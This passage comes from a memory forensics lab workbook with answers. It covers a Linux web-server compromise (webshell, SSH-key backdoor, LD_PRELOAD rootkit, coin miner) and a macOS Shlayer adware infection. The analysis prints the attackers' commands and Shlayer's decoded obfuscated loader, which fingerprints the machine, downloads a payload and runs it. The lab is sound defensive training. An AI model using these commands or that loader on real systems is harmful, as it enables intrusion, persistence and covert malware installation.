2. Examine network activity by running the linux_netstat Volatility plugin against the memory
sample. Do any entries look suspicious? Are there any differences in what is reported in
memory versus the live tools? Note any process names, PIDs, and IP addresses.
_________________________________________________________________________
_________________________________________________________________________
3. Answering the previous questions should have revealed multiple suspicious processes. Run
the linux_pstree plugin to gain more insight about these. How does it appear each process
was started and how do they relate to each other?
_________________________________________________________________________
_________________________________________________________________________
4. Compare the suspicious processes found in linux_pstree to those collected in ps.txt from the
incident response commands folder. Are there discrepancies?
_________________________________________________________________________
_________________________________________________________________________
5. Does Volatility’s linux_psaux plugin provide any further context of the suspicious processes?
_________________________________________________________________________
6. Extract the heap of the processes that appear to be part of a web application exploit. Does
strings based analysis reveal anything of interest?
_________________________________________________________________________
_________________________________________________________________________
7. Extract any file(s) whose paths are found in the strings analysis. What do they reveal?
_________________________________________________________________________
___________________________________________________________________
8. The previous file analysis revealed that the attackers created a method for system access
through backdooring an existing user’s account. Is there evidence this method of access
was later used?
_________________________________________________________________________
_________________________________________________________________________
9. What action(s) of interest did the attackers perform after using the backdoor account
access?
_________________________________________________________________________
_________________________________________________________________________
_________________________________________________________________________
_________________________________________________________________________
_________________________________________________________________________
_________________________________________________________________________
Answers
1. Since this incident began with a network alert, it makes sense to begin by looking at network
activity. Examine network activity by studying netstat.txt in ir_commands.zip. Do any entries
look suspicious? Note any process names, PIDs, and IP addresses.
Initial examination of the file reveals many unix sockets and dozens of entries in the
TIME_WAIT state that are not listed as being associated with a process, such as:
This output immediately appears as suspicious as it does not make sense that netstat
cannot associate network activity to a process. The lack of the process name prevents us
from directly tracing this back to a process, but for now we can note that the connections are
to a variety of external IP addresses and all in a similar remote port pattern (18xx0).
Upcoming analysis will piece this gap of information together for us.
Looking at entries with TIME_WAIT and unix removed, we are left with one abnormal entry:
php-fpm is part of the PHP stack, and it is unusual for legitimate PHP applications to
connect to remote servers.
2. Examine network activity by running the linux_netstat Volatility plugin against the memory
sample. Do any entries look suspicious? Are there any differences in what is reported in
memory versus the live tools? Note any process names, PIDs, and IP addresses.
Initial examination of the output shows entries related to sshd, mysql, httpd, which is
expected given the system’s role as a web server:
After these entries are several connections that are highly suspicious. First, we see not only
the php-fpm process found in netstat.txt, but also sh processes with the same socket pairs
(local IP, local port, remote IP, remote port):
The fact these three processes all have the same local and remote IP addresses and ports
means that the file descriptors are shared between the processes. This generally occurs
when a child process inherits its file descriptors (“handles” in Windows terms) from its parent
upon process creation. This also means these sh, which are likely shell processes, are
related to the PHP runtime making outbound connections, which is highly suspicious.
You may also recall that netstat.txt from the live capture commands did not report these sh
processes and instead only reported php-fm. This omission removed key evidence in
hunting down the so-far likely avenue of the web compromise. We definitely want to note the
remote IP address of these connections (18.139.223.57) before proceeding.
Finally, we also see many connections from a strangely named XxJynx_mib process, three
of which are shown here:
Immediately noticeable is that all of these are connected to port 18080, which overlaps with
the ports of process(es) that netstat was unable to associate back to a process name. This
makes the XxJynx_mib process worthy of further investigation along with the sh processes.
3. Answering the previous questions should have revealed multiple suspicious processes. Run
the linux_pstree plugin to gain more insight about these. How does it appear each process
was started and how do they relate to each other?
Running linux_pstree filtered for our processes of interest shows the above output. This
confirms that the two sh processes are children of php-fpm. We also see that the
XxJynx_mib process does not have a reported parent process in the tree. This is often a
sign of long running processes that want to persist even if their parent terminates.
4. Compare the suspicious processes found in linux_pstree to those collected in ps.txt from the
incident response commands folder. Are there discrepancies?
Searching the process IDs of our suspicious process shows that ps.txt has php-fpm and the
two sh processes, but that XxJynx_mib is hidden from the live system:
5. Does Volatility’s linux_psaux plugin provide any further context of the suspicious processes?
The output of linux_psaux shows that php-fpm spawned a sh instance that ran a few
system-state gathering commands (uname, w, id) followed by spawning its own child
process of the second sh. This is conclusive proof that malicious activity was run through the
web server. We also see that XxJynx_mib was started with an argument of --detach.
6. Extract the heap of the processes that appear to be part of a web application exploit. Does
strings based analysis reveal anything of interest?
Given that the second sh command appears to be the actual shell spawned by the exploit,
we can start by extracting its heap:
By examining with linux_proc_maps, we can where the heap region is for the shell process.
We then extract it with linux_dump_map based on the start address of the region. Next, we
run strings on the extracted heap, and we see entries like the following:
/opt/bitnami/scripts/servicehealth.sh
echo "ssh-rsa [snip] EmBqc= [email protected]
1.compute.internal" >> /home/bitnami/.ssh/authorized_keys
The first reveals the path to what appears to be a shell script, and the second line shows a
command to overwrite the authorized_keys file of the bitnami user. By adding an attacker-
controlled public key to a user’s authorized keys, the attacker can then login in that user, but
at this point we have no proof that the command worked.
Furthermore, we previously saw that the php-fpm and sh processes were running as the
daemon account, which would not have access to the bitnami’s key file.
7. Extract any file(s) whose paths are found in the strings analysis. What do they reveal?
To start, linux_find_file is run with -L to gather a list of cached files. Next, the inode address
(in red) is used to extract the file to servicehealth.sh.txt. Reading the extracted file shows a
block of bash code followed by the echo command with the SSH key as previously
discussed. This verified that echo command ran successfully, and that it was placed into a
pre-existing bash script.
Repeating the same extraction flow for authorized_keys, reveals that the key was appended
multiple times to the end – indicating that the echo command to backdoor the authorized
keys was successfully executed multiple times, likely through servicehealth.sh.
8. The previous file analysis revealed that the attackers created a method for system access
through backdooring an existing user’s account. Is there evidence this method of access
was later used?
Searching auth.log in the collected files folder shows numerous SSH login attempts as
bitnami – including from our known-bad IP address involved with the exploitation:
In the output above, several failed login attempts happen over the course of a few minutes
followed by a later successful login using publickey authentication. In a very concerning twist,
the lines following the successful login shows the same SSH session (17044) elevating to
root privileges through sudo:
As with most other AMIs in AWS, the default user does not have a password and instead has
password-less sudo access once authenticated. This makes hijacked accounts, as occurred
here, very dangerous.
9. What action(s) of interest did the attackers perform after using the backdoor account
access?
Since we know the attackers used SSH to access the system, it is reasonable to assume
their actions occurred over a shell (terminal). Checking for command history against the
memory sample with linux_bash produces no artifacts, but we find a very interesting entry
when looking at the bitnami user’s bash history file collected from disk:
$ cat files/home/bitnami/.bash_history
[snip]
wget http://18.139.223[.]57/sophosintegrity.so
[snip]
Based on the extension, this is a shared library (equivalent to a DLL file on Windows) being
downloaded from our known-bad IP address. Searching this file across files.txt from earlier,
we see that this file is stored under /usr/lib:
A variety of Volatility plugins could have been used to search for references to the shared
library, but none would have revealed the persistence mechanism. In situations where all
references to a file are required, the most common approach is to performing string
searching across the entire memory sample.
Before we can search freely for strings inside a sample though, we must extract them:
Once extracted, if we search strings.txt for the “sophos” file, we found only a few entries, all
of which are shown in the following output:
7575656472 sophosintegrity.so
8024453988 sophosintegrity.sowc
8161793312 /usr/lib/sophosintegrity.so
8161794520 /usr/lib/sophosintegrity.so
8161794569 sophosintegrity.so
8172830816 /usr/lib/sophosintegrity.so
8180326754 wget http://18.139.223.57/sophosintegrity.so
8254472393 wget http://18.139.223.57/sophosintegrity.so
8254472438 chmod +x sophosintegrity.so
8254472481 echo /usr/lib/sophosintegrity.so > /etc/ld.so.preload
The last 4 lines tell us the exact context of this malware on the system. First, we see two
copies of the wget command. Then we see chmod +x on the library, which makes it
executable. Finally, we see the path to the executable being placed in /etc/ld.so.preload.
Once a library path is placed in this file, it will then be loaded first by all future dynamically
linked executables. This allows the malware to hook all APIs before an application can use
them.
This was left as a bonus as the answer was not straightforward to obtain. Extracting the file
with linux_find_file or linux_procdump and then running strings produces an overwhelming
number of lines as the application is written in Go. These applications contain many bundled
libraries and components and are rather large – in this case, the main executable is around
20 megabytes.
Uploading either form of the executable – cached from disk or as its running process –
produced no hits on the file from disk and only two AV hits on the file from process memory,
both of which are only generic hits for coin mining:
https://www.virustotal.com/gui/file/16bbe5059e73d0c73c19495e067773020794180dc0a972
201fd485396d9cc1a7/detection
https://www.virustotal.com/gui/file/02e755cdc209fef3d93f6ec04102baa1c96c45c876a2a786
220cc3fa8174ec1f?nocache=1
Investigating the IP addresses that the process connected to reveals many Tor access
points as well as IP addresses on blacklists related to cryptocurrency.
Once we have a hint that the application was related to coin mining, we can confirm it as a
miner by grepping strings.txt for terms related to coin mining (miner, crypto, monero, etc.).
These searches further help to confirm the application being a coin miner, which are
commonly found on compromised Linux web servers.
Investigation Summary
This lab was a very involved scenario that contained many steps for the “attackers” to go
from exploiting a web-based vulnerability to eventually running a coin miner that hidden was
through LD_PRELOAD. The action plan used to create the lab included the following steps:
1) Gain command execution against the web server due a vulnerability in myBB.
2) Use the command execution to write ‘images.php’ under the web-accessible uploads
folder. This PHP file was a connect back webshell hardcoded to connect back to the
attacker’s system on port 443.
3) Access images.php in a browser to trigger the connect back
4) Use the connect back shell to find world-writeable scripts for privilege escalation. This
leads to finding /opt/binami/scripts/servicehealth.sh.
5) Append the command to backdoor authorized_keys into servicehealth.sh
6) wget reality.so, which provides a full view of the system even after the malware is
installed
7) wget the LD_PRELOAD library (sophosintegrity.so)
8) Install it into /etc/ld.so.preload
9) wget the miner
10) execute the miner in detached mode
MacOS Infection
A MacOS user told you Macs couldn’t get infected. Just to be safe, he installed an antivirus, but
then panicked when the “quick scan” wasn’t completely clean. He sent the following screen shot
and asked which payment plan you recommend.
See the 20190325115457-memory folder. Perform a basic audit of the memory sample, with
the following questions in mind.
NOTE: The Mojave_10.14.zip profile is provided. To “install” it, run the following command.
Then check for the profile name in the output of --info.
$ sudo cp profiles/Mojave_10.14.zip
/usr/share/volatility/volatility/plugins/overlays/mac
• Are any rogue processes running? Use mac_pslist, mac_psaux, and/or mac_tasks.
• Has the user accessed and/or mounted any DMGs recently? Use mac_mount and
mac_list_files.
See the 20190325195150-files folder. Perform an analysis of the files selectively gathered with
Surge Collect Pro. Use the memory sample to corroborate and extend findings.
• What does files/Volumes/Player/Player_595.app do? Explain how the enc and enc2 files
are used (in the Contents/Resources sub-folder).
• Using files collected from /Applications, /Volumes, and /tmp, explain the various
components of the infection as best you can.
• Using files collected from the user’s Safari folder, describe the events that led up to the
infection, including the associated websites, domains, etc.
Summarize the intrusion, including names of specific utilities, vendors, and malware families (if
any).
Answers
Part I: Memory Analysis
Out of the four established connections, two were from the apsd (apple push notifications)
service and one was from MacKeeper. It wasn’t obvious that the WebKit connection to
138.201.252.161 was bad, but the IP maps to “proxy.traffic.club” and was used in the
download/redirect chain (shown later).
Inspecting the Mac Keeper processes’ command line arguments revealed a potential launch
agent being used for persistence:
We also searched for files with .dmg, .app, .pkg, and .zip extensions, due to their common
usage as installers.
The following commands are executed from the “files” directory of the Surge archive. Thus, all
files are relative to that path.
$ shasum
Volumes/Flash\ Player/Install\ Adobe\ Flash\ Player.app/Contents/MacOS/Adobe\ Flash\ P
layer\ Install\ Manager
01cb0c58edcccb0ffa683e60b45279388f0959c2 Volumes/Flash Player/Install Adobe Flash
Player.app/Contents/MacOS/Adobe Flash Player Install Manager
$ cat Volumes/Player/Player_595.app/Contents/MacOS/J3ZKepg8VOPJcLlc
#!/bin/bash
cd "$(dirname "$BASH_SOURCE")"
fileDir="$(dirname "$(pwd -P)")"
cd "$fileDir"/Resources
The main script in Player_595.app decodes and runs enc from the Resources folder:
$ ls Volumes/Player/Player_595.app/Contents/Resources/
app6279034595.icns enc enc2
The enc2 file is then decoded, written to installer.zip (in a randomly named folder under /tmp),
extracted, and executed. Note: In the upcoming openssl commands, the -md md5 option has
been added to what was found in the script sources. The original encryption used MD5 as the
message digest; however, an updated Kali VM uses a different default value, so you need to
specify this when trying to decrypt the files.
$ openssl enc -base64 -d -aes-256-cbc -nosalt -pass "pass:6279034595" -md md5 <
Volumes/Player/Player_595.app/Contents/Resources/enc
#!/bin/bash
tmp_path="$(mktemp -d /tmp/XXXXXXXXX)"
pass="6279034595"
tmp_app="$tmp_path/Player_${pass: -3}.app"
openssl enc -base64 -d -aes-256-cbc -nosalt -out "$tmp_path/installer.zip" -pass
"pass:$pass" <enc2
unzip "$tmp_path/installer.zip" -d "$tmp_path" > /dev/null 2>&1
chmod 777 "$tmp_app/Contents/MacOS/*"
open -a "$tmp_app
The enc file in that app is like the prior one, but the payload is different:
$ openssl enc -base64 -d -aes-256-cbc -nosalt -pass pass:6279034595 -md md5 <
tmp/fUkoxJjMl/Player_595.app/Contents/Resources/enc
#!/bin/bash
_l() {
_i=0;_x=0;
for ((_i=0; _i<${#1}; _i+=2)) do
__return_var="$__return_var$(printf "%02x" $(( ((0x${1:$_i:2})) ^
((0x${2:$_x:2})) )) )"
if (( (_x+=2)>=${#2} )); then ((_x=0)); fi
done
if [[ "$3" ]]; then eval "$3='$__return_var'"; else echo -n "$__return_var"; fi
}
_m() {
_v=$(base64 --decode <(printf "$1"));_k=$(xxd -pu <(printf "$2"));
__return_var="$(xxd -r -p <(_l "$_v" "$_k"))"
if [[ "$3" ]]; then eval "$3='$__return_var'"; else echo -n "$__return_var"; fi
}
_y="6279034595"
_t="MTUxMzE4NWI1OTVk [...snip...]
eval "$(_m "$_t" "$_y")"
We changed the final line from eval to echo and ran it in a virtual machine. The output identified
the code used to download and install the second stage payload from api.updaterengine.com.
#!/bin/bash
function getVolumeName() {
excludedDirs=('/Volumes/Preboot/' '/Volumes/Macintosh HD/' '/Volumes/Recovery/')
if [ -d "$volumeDir/$1" ]; then
echo "$volumeDir";
return;
fi
done
}
currentDir="$PWD"
appDir="$(dirname $(dirname "$currentDir"))"
appName="$(basename "$appDir")"
volume_name="$(getVolumeName "$appName")"
os_version="$(sw_vers -productVersion)"
session_guid="$(uuidgen)"
machine_id="$(echo -n "$(ioreg -rd1 -c IOPlatformExpertDevice | grep -o '"IOPlatformUUID" =
"\(.*\)"' | sed -E -n 's@.*"([^"]+)"@\1@p')" | tr -dc '[[:print:]]')"
url="http://api.updaterengine.com/sd/?c=OmRybQ==&u=$machine_id&s=$session_guid&o=$os_versio
n&b=6279034595"
unzip_password="595430972613906279034595"
tmp_path="$(mktemp /tmp/XXXXXXXXX)"
curl -f0L "$url" >/dev/null 2>&1 >>$tmp_path
app_dir="$(mktemp -d /tmp/XXXXXXXX)/"
unzip -P "$unzip_password" "$tmp_path" -d "$app_dir" > /dev/null 2>&1
rm -f $tmp_path
file_name="$(grep -m1 -v "*.app" <(ls -1 "$app_dir"))"
volume_name="${volume_name// /%20}"
chmod +x "$app_dir$file_name/Contents/MacOS"/*
open -a "$app_dir$file_name" --args "s" "$session_guid" "$volume_name"
Searching memory for the remote hostname revealed the following evidence. We are currently
unsure how to decode the POST payload.
The following file shows how the Mac Keeper agent persisted and survived reboots:
$ cat Users/pparker/Library/LaunchAgents/com.mackeeper.MacKeeperAgent.plist
[...]
<key>Label</key>
<string>com.mackeeper.MacKeeperAgent</string>
<key>LimitLoadToSessionType</key>
<string>Aqua</string>
<key>MachServices</key>
<dict>
<key>com.mackeeper.MacKeeperAgent</key>
<true/>
</dict>
<key>Program</key>
<string>/Applications/MacKeeper.app/Contents/Library/LaunchAgents/MacKeeperAgent.app/C
ontents/MacOS/MacKeeperAgent</string>
[...]
The Downloads.plist file nicely preserved the download history, including timestamps, file sizes,
source URLs, and destination save paths:
NOTE: The plutil tool is not installed in Kali, and does not appear to be functional on Linux.
Thus, we recommend running this command on a macOS system instead.
<string>http://www.opticallog.com/mOfAZZYmYqbzISef0PhMDZnS/TBJLWhsIAwYFAwMXAhUQQlBYFQo
IAQACHhFXWRIDXExeXk4%3D?subaff=12785766&subid_short=e72e88aff619f1547a392252be2e2b
79&c=d74835d7-381e-e911-81f7-ed46f4389d4a&s=68f0f896-f373-4b99-be59-
b7f6f7d05d7e&client=safari&rsm=aHR0cDovL3d3dy5jb2xsZWN0aW9ubWFuYWdlLmNvbQ%253d
%253d&t=11</string>
[...]
Inspecting the History.db showed the user’s search history and relative sequence of events.
When sorted ascending by id, you can see he was looking for “mac antivirus” and eventually
clicked on hotelbalashiha.com, which redirected to kromtech.net and then mackeeper.com.
Researching the domains and unique strings seen in the analysis so far, we were able to
identify this as a Shlayer variant that installs Mac Keeper by Kromtech.
https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-
malware-variant-of-shlayer-osx-discovered/
http://www.cs.tufts.edu/comp/116/archive/spring2018/mnguyen.pdf